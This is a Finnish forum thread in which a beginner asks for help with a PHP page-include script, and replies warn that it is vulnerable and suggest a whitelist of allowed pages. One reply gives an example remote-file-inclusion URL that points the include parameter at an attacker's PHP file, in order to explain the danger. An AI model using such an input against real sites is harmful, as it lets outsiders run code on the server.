include ongelma

En ole mikään koodaaja joten jos joku ystävällisesti pystyisi auttamaan?

Löysin tällaisen koodinpätkän SamiWebistä.



Kuulostaa kovin näppärältä mutta mutta.. en oikein saa hommaa skulaamaan. Kaikilla sivuilla on .PHP pääte.

Linkit ovat muodossa
index.php?sivu=etusivu
index.php?sivu=sivu1
index.php?sivu=sivu2

Aluksi kun aukaisen index.php:n homma toimii
jos klikkaan sivu1 ta sivu2 linkkiä saan ilmoitusen:
"Not Found
The requested URL index.php was not found on this server."

Suurin kysymys kuuluukin miten onnistuisin tekemään sivu rakenteen näin

Index.php
Valikon(sisältö).php
Etusivu(sisältö).php
Sivu1(sisältö).php
Sivu2(sisältö).php

valikko olisi jokaisella sivulla ja sivujotakin.php:t avautuisi aina samaan taulukkoon.

CSS ja HTML ovat tuttuja.
3389
Äänestä

Muut lukivat myös

Vastaukset 3

Vanhimmat

*Aluksi kun aukaisen index.php:n homma toimii
jos klikkaan sivu1 ta sivu2 linkkiä saan ilmoitusen:*

Hmmmm, sinulla on kyl joku pielessä. http://kotisivusi.com/index.php ja http://kotisivusi.com/index.php?sivu=sivu1 osottavat täsmälleen samaanpaikkaan jälkimmäisessä vain annetaan arvo sivu muuttujalle GET metodil.

Toimiiko sinulla php ollenkaan?

kirjoitappas index.php sivulle näin



tämän jälkeen sinun pitäisi nähdä sivu muuttujan teksti jos näkyy koodi niin php ei toimi.


Mutta sitten tärkeimpään asiaan, ÄLÄ missään nimessä käytä tuota koodia. Muistanet varmaan uutiset jossa Ylen vaalisivut krakkeroitiin/hakkeroitiin? (hakkerointi väärä termi, mut ei siitä sen enempää)
Tuon kautta on helppo murtautua palvelimellesi ja tehdä vaikka mitä sinun oikeuksillasi.

index.php?sivu=http://krakkerinsivu.com/jihuu.php
ja tuo jihuu.php sisältö laitetaan php-tulkin lävitse.


Itse käytän täntapasta


tuo liittää etusivu.php(pitää ol samas hakemistos) .... tuohon kohti.

Siis luottelen kaikki sallitut sivut ja tämän jälkeen katson et käyttäjä haluaa niitä, ellei niin saa error ilmoituksen. Tässä ei ole tuota aikasemmin mainittua ongelmaa. Näitä tapoja sitten on monta erillaista, riippuu monta sivua jne.... mikä parhain sinulle.

Äänestä
  • En kyllä ihan heti.. pitää yrittää viel nukkuu ennenku menee töihin.

    MBNetin serverillä on kyllä tuki PHP:lle. pitäs käydä tarkistaa mikä verssu siellä on. toisaalta en usko kyllä että PHP4 tai 5 kovasti eroaa tän asian kanssa toisistaan. hauskaa mulla tulee olee kun pitäs vielä yrittää opetella noita tietokantoja ja niiden lukemista. tää nyt pitäs vaan saada mahd nopeesti kuntoon.

    laittakeehan lisää ehdotuksia jos jaksatte!

    Kiitos

    Äänestä

  • Nuija kirjoitti:

    En kyllä ihan heti.. pitää yrittää viel nukkuu ennenku menee töihin.

    MBNetin serverillä on kyllä tuki PHP:lle. pitäs käydä tarkistaa mikä verssu siellä on. toisaalta en usko kyllä että PHP4 tai 5 kovasti eroaa tän asian kanssa toisistaan. hauskaa mulla tulee olee kun pitäs vielä yrittää opetella noita tietokantoja ja niiden lukemista. tää nyt pitäs vaan saada mahd nopeesti kuntoon.

    laittakeehan lisää ehdotuksia jos jaksatte!

    Kiitos

    Juu kyl MBNetis toimii PHP muistaakseni vertsio oli 4.1.x elleivät ole päivittäneet 4.4.x viitonen kuulemma tulee testipalvelimelle ens ja pikkuhiljaa sitten kaikille, kun monet scriptit hajoaa 4 > 5 päivityksessä osa muutosten osa huonon koodin takia.

    Tuo esimerkki toimii molemmilla, kolmos versiolla ei in_array ja superglopaalien ($_X) takia.

    Tietokannat ei toimi sitten tuol.

    MBNet aika useinkin jumahtelee joten kannattaa koittaa hetken kuluttua uudestaan. Asenna kotikoneellesi Apache, PHP ja MySQL niin on helpomp testail ja opetel uutta.

    Äänestä

Kommentoi aloitusta


Nuija kirjoitti:

En ole mikään koodaaja joten jos joku ystävällisesti pystyisi auttamaan?

Löysin tällaisen koodinpätkän SamiWebistä.



Kuulostaa kovin näppärältä mutta mutta.. en oikein saa hommaa skulaamaan. Kaikilla sivuilla on .PHP pääte.

Linkit ovat muodossa
index.php?sivu=etusivu
index.php?sivu=sivu1
index.php?sivu=sivu2

Aluksi kun aukaisen index.php:n homma toimii
jos klikkaan sivu1 ta sivu2 linkkiä saan ilmoitusen:
"Not Found
The requested URL index.php was not found on this server."

Suurin kysymys kuuluukin miten onnistuisin tekemään sivu rakenteen näin

Index.php
Valikon(sisältö).php
Etusivu(sisältö).php
Sivu1(sisältö).php
Sivu2(sisältö).php

valikko olisi jokaisella sivulla ja sivujotakin.php:t avautuisi aina samaan taulukkoon.

CSS ja HTML ovat tuttuja.

Anonyymi
5000

Ilmoita asiaton sisältö

  • Sisältää materiaalia, joka on loukkaavaa, herjaavaa, rasistista, uhkailevaa tai ahdistelevaa.

  • Materiaali sisältää nimiä, yhteystietoja tai muita henkilökohtaisia tietoja. Julkisuuden henkilöistä, julkisissa viroissa toimivista ihmisistä sekä yritysten vastuuhenkilöistä saa keskustella työhön liittyen. Myös yksityiselämään liittyvistä asioista voi keskustella siltä osin, kuin niistä on julkisesti kerrottu.

  • Sisältää lapsille haitallista tai heiltä kiellettyä materiaalia. Seksuaalinen sisältö on sallittua aiheeseen tarkoitetuilla palstoilla, joiden ikäraja on 18 vuotta.

  • Lainvastaista sisältöä voi olla mm. yksityiselämää loukkaavan tiedon levitys, kiihottaminen kansanryhmää vastaan, laiton uhkaaminen, alaikäisiin liittyvä seksuaalinen sisältö/grooming, petokset, identiteettivarkaudet, kunnianloukkaukset ja tekijänoikeusrikkomukset.

  • Sisältö ei liity palstan tai keskusteluketjun aiheeseen.

  • Viesti ei ole suomea tai ruotsia (pl. International Forums), se sisältää mainontaa, se sisältää tekijänoikeuksin suojattua materiaalia, se on massapostitus tai jokin muu syy.

Jaa keskustelu